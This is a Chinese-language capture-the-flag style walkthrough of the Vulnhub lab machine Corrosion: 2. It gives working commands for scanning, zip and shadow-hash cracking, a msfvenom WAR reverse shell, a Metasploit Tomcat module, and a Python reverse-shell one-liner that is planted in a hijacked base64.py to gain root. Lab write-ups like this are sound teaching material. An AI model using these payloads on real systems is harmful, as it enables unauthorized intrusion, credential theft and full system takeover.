Vulnhub Corrosion: 2靶机实战
字数 1455 2025-08-11 23:26:43
Vulnhub Corrosion: 2 靶机渗透测试教学文档
靶机概述
Corrosion: 2 是一个 Vulnhub 上的渗透测试靶机,主要考察以下技术点:
- Tomcat 中间件渗透
- 密码破解技术
- 越权访问利用
- Linux 提权技术
环境准备
- 攻击机:Kali Linux
- 靶机:Corrosion: 2 (Ubuntu 系统)
- 网络配置:同一局域网段
信息收集阶段
1. 发现目标
使用 arp-scan 扫描局域网内主机:
arp-scan -I eth0 -l
发现靶机 IP 为 192.168.147.131
2. 端口扫描
使用 nmap 进行全端口扫描:
nmap -sS -A -T4 -Pn -p- 192.168.147.131
扫描结果:
- 22 端口:SSH 服务
- 80 端口:HTTP 服务 (Apache 默认页面)
- 8080 端口:Tomcat 服务
3. 目录扫描
使用 dirsearch 进行目录爆破:
Apache (80端口):
dirsearch -u http://192.168.147.131
结果:仅 index.html 可访问
Tomcat (8080端口):
dirsearch -u http://192.168.147.131:8080
发现重要路径:
- /manager/ (Tomcat 管理页面)
- /backup.zip
- /readme.txt
密码破解阶段
1. 分析 readme.txt
内容提示管理员在服务器上留了文件,并提到了密码,但未直接给出。
2. 破解 backup.zip
使用 zip2john 和 john 进行破解:
zip2john backup.zip > password.txt
john --wordlist=/usr/share/wordlists/rockyou.txt password.txt
成功破解密码:@administrator_hi5
3. 解压 backup.zip
发现重要文件:tomcat-users.xml,包含以下账号:
manager ---- melehifokivai
admin ---- melehifokivai
初始访问阶段
1. Tomcat 管理页面利用
尝试上传 war 格式的反弹 shell:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.147.129 LPORT=6789 -f war > ninggo.war
上传后未能成功反弹 shell。
2. 使用 Metasploit 的 Tomcat 漏洞利用
msfconsole -q
search tomcat 9
use 5
set RHOSTS 192.168.147.131
set RPORT 8080
set USERNAME manager
set PASSWORD melehifokivai
exploit
成功获取普通用户 shell,升级为交互式 shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
权限提升阶段
1. 用户切换
在 /home 目录发现两个用户:
- randy
- jaye
发现 jaye 用户可以使用 Tomcat 密码登录:
ssh jaye@192.168.147.131
密码:melehifokivai
2. 越权访问利用
在 jaye 的家目录发现可执行文件 look,具有越权访问能力:
./look '/etc/passwd'
./look '/etc/shadow'
将输出保存到本地用于密码破解。
3. 密码破解
使用 unshadow 和 john 破解:
unshadow passwd shadow > password.txt
john --wordlist=/usr/share/wordlists/rockyou.txt password.txt
破解结果:
- randy 用户密码:
07051986randy - root 用户密码未能破解
4. 切换至 randy 用户
su randy
密码:07051986randy
5. Sudo 提权
检查 sudo 权限:
sudo -l
发现可以无密码执行 /usr/bin/randombase64.py
分析该 Python 脚本:
import base64
message = input("Enter your string: ")
message_bytes = message.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
print(base64_message)
6. 利用 Python 模块提权
发现 base64.py 可写,修改为反弹 shell 代码:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.147.129",6789));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
保存时需禁用备份:
:set nobackup
:set nowritebackup
:set noswapfile
:wq
执行脚本获取 root shell:
sudo /usr/bin/randombase64.py
最终获取 flag
在 /root 目录下找到最终的 flag 文件。
技术总结
-
Tomcat 中间件渗透:
- 管理页面默认凭证利用
- war 文件上传与执行
- Metasploit 模块利用
-
密码破解技术:
- zip2john 破解加密压缩包
- unshadow 整合密码文件
- john 进行密码爆破
-
越权访问利用:
- 利用特殊权限程序读取敏感文件
- 通过 shadow 文件获取密码哈希
-
提权技术:
- sudo 权限滥用
- Python 模块劫持
- 反弹 shell 构造
-
其他技巧:
- 交互式 shell 升级
- 文件权限分析
- 敏感信息收集与利用